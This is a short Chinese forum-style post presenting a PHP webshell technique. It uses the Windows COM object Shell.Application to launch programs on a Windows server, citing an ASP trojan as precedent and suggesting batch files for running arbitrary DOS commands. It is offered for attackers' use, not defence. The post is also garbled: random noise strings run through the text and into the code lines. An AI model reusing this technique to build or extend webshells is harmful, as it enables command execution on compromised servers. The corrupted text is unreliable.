关于用Shell.Application来执行程序,在海阳顶端asp木马里已有示例。用的是ShellExecute 这个方法。
8 p) Y! J, M: b' N: ?8 i
; \; N6 m" E- h; b7 N& C今天试了一下,用open也可以。php代码如下,我好像还没有在php的webshell中看到相关方法
: e# b& g% m- h( T7 R* {' F: S5 S: w5 P8 h4 R. z. w
<?php
# `5 c0 @0 y5 ]4 [& x$wsh = new COM('Shell.Application') or die("Shell.Application");! l9 `+ ^; k$ ?$ N" ~ j2 w9 H
$exec = $wsh->open("c:\\windows\\system32\\notepad.exe");4 u6 M ]* O5 _# B7 w3 r! n# S
//没有回显,多了个notepad进程,可以写一个批处理来运行dos命令。open换用ShellExecute 也可。
, I8 t5 ?8 K* V% y) Q?>
6 t+ }. f/ f+ A+ _5 X0 Z
$ z3 l% Z4 L( s4 xxp+APMServ5.2.0测试通过。
* Z& ]( }4 \! d% z; M; ~ |